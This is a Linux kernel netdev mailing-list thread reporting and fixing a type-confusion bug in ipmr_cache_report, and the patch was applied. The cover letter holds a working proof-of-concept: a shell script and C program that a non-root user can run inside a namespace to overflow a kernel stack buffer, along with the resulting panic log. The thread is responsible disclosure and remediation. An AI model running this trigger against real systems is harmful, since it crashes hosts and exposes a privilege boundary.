Skip to contentSkip to conversation

ipmr: only copy pktinfo to cache reports

PATCH Applied Zhiling Zou 5 participants 6 messages Oct 20 – Oct 23

Subsystems (3)
lore
Share & tools
lore
#0 lore raw

v6 cover ipmr: only copy pktinfo to cache reports

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/ipmr.c. The bug is reachable by a non-root user via user and net namespaces with namespace-local CAP_NET_ADMIN and CAP_NET_RAW.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ipmr_get_route() can clone a synthetic RTM_GETROUTE skb for an unresolved multicast route and store the requester portid in NETLINK_CB(skb).portid before queuing it to the unresolved multicast route path.

ipmr_cache_report() builds a short IGMP report for the raw mroute socket. To support IP_PKTINFO, the original code calls ipv4_pktinfo_prepare() on the input packet and copies the entire skb control block to the report skb. For synthetic route-query packets, this copies NETLINK_CB bytes into a skb that the raw IPv4 receive path interprets as IPCB. The requester portid overlaps IPCB(skb)->opt fields. With IP_RECVOPTS or IP_RETOPTS enabled on the mroute socket, corrupted option offsets can make the receive path copy beyond the short report packet or overflow the fixed stack option buffer in ip_options_echo().

The WHOLEPKT/WRVIFWHOLE path has a related issue: skb_realloc_headroom() inherits the original IPCB, then prepends a 20-byte header with ihl = 5. Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts() copy bytes from after that header as IP_RECVOPTS.

ipv4_pktinfo_prepare() also modifies the input skb control block. When packet info is disabled on the mroute socket, it clears the pktinfo fields, even though the input skb can continue through the data path.

Save and restore the original pkt->cb around ipv4_pktinfo_prepare(). Clear the report skb control block and copy only the prepared pktinfo fields. Doing this after both report branches preserves input skb metadata, keeps IP_PKTINFO support, and clears inherited IP option state for WHOLEPKT/WRVIFWHOLE reports.

Reproducer:

make
./poc.sh namespace

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu

mode="${1:-root}"

sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true sysctl -w kernel.printk="7 4 1 7" >/dev/null 2>&1 || true

make clean
make

case "$mode" in
root)

	exec ./poc
	;;
namespace)
	exec unshare -Urn --map-root-user ./poc
	;;
*)
	echo "usage: $0 [root|namespace]" >&2
	exit 1
	;;

esac

------END poc.sh--------

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define DEV_NAME "jwq0"
#define DEV_ADDR "10.23.0.1/24"
#define SRC_ADDR "10.23.0.2"
#define DST_ADDR "239.1.2.3"
#define NETLINK_PORTID 0x000f0001U

static void die(const char *fmt, ...)

{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
	exit(EXIT_FAILURE);
}

static void die_errno(const char *msg)

{
	die("%s: %s", msg, strerror(errno));
}

static void run_cmd(const char *fmt, ...)

{
	char cmd[512];
	va_list ap;
	int rc;

	va_start(ap, fmt);
	vsnprintf(cmd, sizeof(cmd), fmt, ap);
	va_end(ap);

	printf("[cmd] %s\n", cmd);
	fflush(stdout);
	rc = system(cmd);
	if (rc != 0)
		die("command failed (%d): %s", rc, cmd);
}

static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
const void *data, size_t alen)

{
	size_t len = RTA_LENGTH(alen);
	size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
	struct rtattr *rta;

	if (newlen > maxlen)
		die("netlink attribute overflow");

	rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = len;
	memcpy(RTA_DATA(rta), data, alen);
	nlh->nlmsg_len = newlen;
}

static int create_dummy_interface(void)

{
	unsigned int ifindex;

	run_cmd("ip link del %s 2>/dev/null || true", DEV_NAME);
	run_cmd("ip link set lo up");
	run_cmd("ip link add %s type dummy", DEV_NAME);
	run_cmd("ip addr add %s dev %s", DEV_ADDR, DEV_NAME);
	run_cmd("ip link set %s up", DEV_NAME);

	ifindex = if_nametoindex(DEV_NAME);
	if (!ifindex)
		die_errno("if_nametoindex(" DEV_NAME ")");

	printf("[*] %s ifindex=%u\n", DEV_NAME, ifindex);
	return (int)ifindex;
}

static int setup_mroute_socket(int ifindex)

{
	struct vifctl vif = {
		.vifc_vifi = 0,
		.vifc_flags = VIFF_USE_IFINDEX,
		.vifc_threshold = 1,
		.vifc_rate_limit = 0,
		.vifc_lcl_ifindex = ifindex,
	};
	int opt = 1;
	int fd;

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (fd < 0)
		die_errno("socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)");

	if (setsockopt(fd, SOL_IP, IP_RETOPTS, &opt, sizeof(opt)) < 0)
		die_errno("setsockopt(IP_RETOPTS)");

	if (setsockopt(fd, IPPROTO_IP, MRT_INIT, &opt, sizeof(opt)) < 0)
		die_errno("setsockopt(MRT_INIT)");

	if (setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vif, sizeof(vif)) < 0)
		die_errno("setsockopt(MRT_ADD_VIF)");

	printf("[*] mroute socket ready on vif ifindex=%d\n", ifindex);
	return fd;
}

static int setup_netlink_socket(void)

{
	struct sockaddr_nl local = {
		.nl_family = AF_NETLINK,
		.nl_pid = NETLINK_PORTID,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die_errno("socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)");

	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die_errno("bind(AF_NETLINK)");

	printf("[*] netlink portid=0x%08x\n", NETLINK_PORTID);
	printf("[*] portid bytes: optlen=%u srr=%u rr=%u ts=%u\n",
	       NETLINK_PORTID & 0xff,
	       (NETLINK_PORTID >> 8) & 0xff,
	       (NETLINK_PORTID >> 16) & 0xff,
	       (NETLINK_PORTID >> 24) & 0xff);
	return fd;
}

static void trigger_getroute(int nl_fd, int ifindex)

{
	struct {
		struct nlmsghdr nlh;
		struct rtmsg rtm;
		char buf[256];
	} req;
	struct sockaddr_nl kernel = {
		.nl_family = AF_NETLINK,
	};
	struct iovec iov = {
		.iov_base = &req,
		.iov_len = sizeof(req),
	};
	struct msghdr msg = {
		.msg_name = &kernel,
		.msg_namelen = sizeof(kernel),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct in_addr src;
	struct in_addr dst;

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
	req.nlh.nlmsg_type = RTM_GETROUTE;
	req.nlh.nlmsg_flags = NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 1;
	req.rtm.rtm_family = AF_INET;
	req.rtm.rtm_dst_len = 32;
	req.rtm.rtm_src_len = 32;

	if (inet_pton(AF_INET, SRC_ADDR, &src) != 1)
		die("inet_pton failed for %s", SRC_ADDR);
	if (inet_pton(AF_INET, DST_ADDR, &dst) != 1)
		die("inet_pton failed for %s", DST_ADDR);

	addattr_l(&req.nlh, sizeof(req), RTA_SRC, &src, sizeof(src));
	addattr_l(&req.nlh, sizeof(req), RTA_DST, &dst, sizeof(dst));
	addattr_l(&req.nlh, sizeof(req), RTA_IIF, &ifindex, sizeof(ifindex));

	iov.iov_len = req.nlh.nlmsg_len;

	printf("[*] sending RTM_GETROUTE for %s -> %s on ifindex %d\n",
	       SRC_ADDR, DST_ADDR, ifindex);
	fflush(stdout);
	if (sendmsg(nl_fd, &msg, 0) < 0)
		die_errno("sendmsg(RTM_GETROUTE)");
}

static void receive_report(int mrt_fd)

{
	char payload[512];
	char control[4096];
	struct iovec iov = {
		.iov_base = payload,
		.iov_len = sizeof(payload),
	};
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
	};
	ssize_t n;

	printf("[*] waiting for mroute report; recvmsg should crash in IP_RETOPTS\n");
	fflush(stdout);
	n = recvmsg(mrt_fd, &msg, 0);
	if (n < 0)
		die_errno("recvmsg(mroute_sk)");

	printf("[!] recvmsg returned %zd bytes without crashing\n", n);
}

int main(void)

{
	int ifindex;
	int mrt_fd;
	int nl_fd;

	printf("[*] ipmr_cache_report type-confusion trigger\n");
	printf("[*] expected rr copy length comes from first byte of %s (%u)\n",
	       DST_ADDR, 239U);

	ifindex = create_dummy_interface();
	mrt_fd = setup_mroute_socket(ifindex);
	nl_fd = setup_netlink_socket();

	trigger_getroute(nl_fd, ifindex);
	receive_report(mrt_fd);

	close(nl_fd);
	close(mrt_fd);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  195.459259] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.460787] CPU: 2 UID: 1028 PID: 1307 Comm: poc Not tainted 6.12.95 #1
[  195.461640] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  195.463100] Call Trace:
[  195.463432]  <TASK>
[  195.463733]  panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:955 (discriminator 1))
[  195.464178]  ? ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.464769]  __stack_chk_fail (/home/roxy/linux-block-patch/build/../kernel/panic.c:1195 (discriminator 1))
[  195.465309]  ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.465878]  ? __skb_datagram_iter (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:2533 /home/roxy/linux-block-patch/build/../net/core/datagram.c:394)
[  195.466458]  ? __pfx_simple_copy_to_iter+0x10/0x10
[  195.467091]  ? ____sys_recvmsg+0x98/0x1d0
[  195.467633]  ? ___sys_recvmsg+0x91/0xe0
[  195.468154]  ? srso_alias_return_thunk+0x5/0xfbef5
[  195.468802]  ? __sys_recvmsg+0x83/0xe0
[  195.469305]  ? do_syscall_64+0x58/0x120
[  195.469824]  ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  195.470498]  </TASK>
[  195.470983] Kernel Offset: disabled

-----END crash log-----

Zhiling Zou (1):
ipmr: only copy pktinfo to cache reports

 net/ipv4/ipmr.c | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)
Signature · 1 line
2.55.0
#1 lore raw

PATCH v6 1/1 ipmr: only copy pktinfo to cache reports

ipmr_cache_report() prepares IP_PKTINFO on the original skb. The ipv4_pktinfo_prepare() helper updates skb->cb and clears the pktinfo fields when packet info is disabled. Since the skb can continue through the data path, preserve and restore its original control block around the helper.

The original implementation copies the entire control block to the report skb. For synthetic RTM_GETROUTE packets, NETLINK_CB data is interpreted as IPCB by the raw IPv4 receive path. With IP_RECVOPTS or IP_RETOPTS enabled, corrupted option offsets cause out-of-bounds reads or a stack buffer overflow. WHOLEPKT and WRVIFWHOLE reports also inherit stale IP option offsets when their header is prepended.

Clear the report skb control block. Only prepare and copy pktinfo when the input skb has an IPv4 header. Synthetic route-query skbs use NETLINK_CB, not IPCB, so leave their report control block zeroed. Restore pkt->cb after preparing pktinfo for regular IPv4 packets.

Fixes bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
Fixes 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by LLM

---
changes in v6:
- Skip ipv4_pktinfo_prepare() for synthetic route-query skbs, whose cb
contains NETLINK_CB rather than IPCB, and leave report skb->cb zeroed.
- v5 Link: https://lore.kernel.org/netdev/192b5c65be8b370c1e6e4f6a31edf03d2606f427.1792215075.git.zhilinz@nebusec.ai/

changes in v5:
- Save and restore pkt->cb around ipv4_pktinfo_prepare().
- Prepare pktinfo after both report branches, clear skb->cb, and copy only
the pktinfo fields; this also clears inherited IP options.
- Add the Fixes tag for the older WHOLEPKT/WRVIFWHOLE issue.
- v4 Link: https://lore.kernel.org/netdev/d8a36c317f6216d20f9cfd7e49f1888f62c35f7c.1788417128.git.zhilinz@nebusec.ai/

changes in v4:
- Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
header, so stale option offsets are not inherited from the original packet.
- v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/

changes in v3:
- Go back to the v1 scope and stop changing the common path.
- Remove memset(), since alloc_skb() already clears the control block.
- v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/

changes in v2:
- Reword the commit message to say the entire 48-byte skb control block
is copied.
- Mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was unintended.
- Move the pktinfo copy to the common path to cover both report branches.
- v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/

 net/ipv4/ipmr.c | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)
net/ipv4/ipmr.c +10 -2
index b9c544d48c452..6635ea6b9209a 100644
@@ -1057,6 +1057,7 @@ static void ipmr_cache_resolve(struct net *net, struct mr_table *mrt,
 static int ipmr_cache_report(const struct mr_table *mrt,
 			     struct sk_buff *pkt, vifi_t vifi, int assert)
 {
+	unsigned char pkt_cb[sizeof(pkt->cb)];
 	const int ihl = ip_hdrlen(pkt);
 	struct sock *mroute_sk;
 	struct igmphdr *igmp;
@@ -1112,8 +1113,6 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		msg = (struct igmpmsg *)skb_network_header(skb);
 		msg->im_vif = vifi;
 		msg->im_vif_hi = vifi >> 8;
-		ipv4_pktinfo_prepare(mroute_sk, pkt, false);
-		memcpy(skb->cb, pkt->cb, sizeof(skb->cb));
 		/* Add our header.
 		 * Note that code, csum and group fields are cleared.
 		 */
@@ -1124,6 +1123,15 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		skb->transport_header = skb->network_header;
 	}
 
+	memset(skb->cb, 0, sizeof(skb->cb));
+	/* Route queries from ipmr_get_route() carry NETLINK_CB, not IPCB. */
+	if (ip_hdr(pkt)->version) {
+		memcpy(pkt_cb, pkt->cb, sizeof(pkt_cb));
+		ipv4_pktinfo_prepare(mroute_sk, pkt, false);
+		*PKTINFO_SKB_CB(skb) = *PKTINFO_SKB_CB(pkt);
+		memcpy(pkt->cb, pkt_cb, sizeof(pkt_cb));
+	}
+
 	igmpmsg_netlink_event(mrt, skb);
 
 	/* Deliver to mrouted */
Signature · 1 line
2.55.0
maintainer Reviewed-by on v6 1/1
#2 lore raw
Quoted 17 lines · Zhiling Zou

ipmr_cache_report() prepares IP_PKTINFO on the original skb. The ipv4_pktinfo_prepare() helper updates skb->cb and clears the pktinfo fields when packet info is disabled. Since the skb can continue through the data path, preserve and restore its original control block around the helper.

The original implementation copies the entire control block to the report skb. For synthetic RTM_GETROUTE packets, NETLINK_CB data is interpreted as IPCB by the raw IPv4 receive path. With IP_RECVOPTS or IP_RETOPTS enabled, corrupted option offsets cause out-of-bounds reads or a stack buffer overflow. WHOLEPKT and WRVIFWHOLE reports also inherit stale IP option offsets when their header is prepended.

Clear the report skb control block. Only prepare and copy pktinfo when the input skb has an IPv4 header. Synthetic route-query skbs use NETLINK_CB, not IPCB, so leave their report control block zeroed. Restore pkt->cb after preparing pktinfo for regular IPv4 packets.

Quoted 9 lines
Fixes bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
Fixes 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by LLM

There are a few pre-existing issues that the AI review flagged. I will take care of them.

maintainer Reviewed-by on v6 1/1
#3 lore raw
In reply to Zhiling Zou
Quoted 17 lines · Zhiling Zou

ipmr_cache_report() prepares IP_PKTINFO on the original skb. The ipv4_pktinfo_prepare() helper updates skb->cb and clears the pktinfo fields when packet info is disabled. Since the skb can continue through the data path, preserve and restore its original control block around the helper.

The original implementation copies the entire control block to the report skb. For synthetic RTM_GETROUTE packets, NETLINK_CB data is interpreted as IPCB by the raw IPv4 receive path. With IP_RECVOPTS or IP_RETOPTS enabled, corrupted option offsets cause out-of-bounds reads or a stack buffer overflow. WHOLEPKT and WRVIFWHOLE reports also inherit stale IP option offsets when their header is prepended.

Clear the report skb control block. Only prepare and copy pktinfo when the input skb has an IPv4 header. Synthetic route-query skbs use NETLINK_CB, not IPCB, so leave their report control block zeroed. Restore pkt->cb after preparing pktinfo for regular IPv4 packets.

Quoted 9 lines
Fixes bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
Fixes 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by LLM

I have not seen this message, because my email is [email protected]

#4 lore raw
In reply to Zhiling Zou
This is an automated message. This series looks like a fix, but its commit messages seem to be missing some information:

Hi!

This is an automated message. This series looks like a fix, but its commit messages seem to be missing some information:

- How the issue was discovered, e.g. hit in production, hit during development, syzbot report, manual code inspection, LLM or static analysis tool scan.

Please do not repost the series just to address the above. Instead, reply to this email with the missing information, so that reviewers can take it into account. If the series needs another revision for other reasons, please include the information in the commit messages then.

The evaluation is done by an LLM so it may be wrong, if you think that is the case please reply and explain.

#5 lore raw
In reply to Zhiling Zou
This patch was applied to netdev/net.git (main) by Jakub Kicinski <[email protected]>:

Hello:

This patch was applied to netdev/net.git (main)
by Jakub Kicinski <[email protected]>:

Quoted 10 lines · On Tue, 20 Oct 2026 14:39:35 +0800 you wrote:

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/ipmr.c. The bug is reachable by a non-root user via user and net namespaces with namespace-local CAP_NET_ADMIN and CAP_NET_RAW.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

[...]

Here is the summary with links:
- [net,v6,1/1] ipmr: only copy pktinfo to cache reports

    https://git.kernel.org/netdev/net/c/94a6736bb5ab

You are awesome, thank you!

Signature · 2 lines
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html